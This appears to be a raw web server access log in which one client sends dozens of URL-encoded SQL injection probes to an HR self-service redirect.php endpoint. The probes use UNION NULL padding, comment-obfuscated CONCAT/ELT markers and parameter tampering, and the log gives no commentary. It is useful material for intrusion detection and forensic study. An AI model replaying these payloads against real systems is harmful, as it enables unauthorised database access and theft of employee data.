100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67576c4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76474178%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZtdh%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67576c4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76474178%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZtdh%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4142726a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x356b4b54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVMX1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4142726a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x356b4b54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FVMX1%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a385263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a62326a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Ff1KN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a385263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a62326a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Ff1KN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x534e7a6c%2C%28NULL%29%2C0x6b466b51%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FF99b%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x534e7a6c%2C%28NULL%29%2C0x6b466b51%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FF99b%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6a6b476f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a755838%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCxcu%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6a6b476f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a755838%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCxcu%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51426e55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36634248%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5lW9%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51426e55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36634248%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5lW9%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x394d6968%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47585846%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdQbF%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x394d6968%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47585846%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FdQbF%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x66467455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d526d61%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6dd3%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x66467455%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d526d61%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6dd3%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56626368%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a5633%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F4IGE%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65343466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64796b35%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65343466%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64796b35%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35656334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c354747%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaPXj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35656334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c354747%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FaPXj%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51426e55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36634248%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F5lW9%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a385263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a62326a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Ff1KN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e305532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67385765%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fgl6w%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6e305532%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67385765%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fgl6w%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x75347677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71547633%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbEks%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
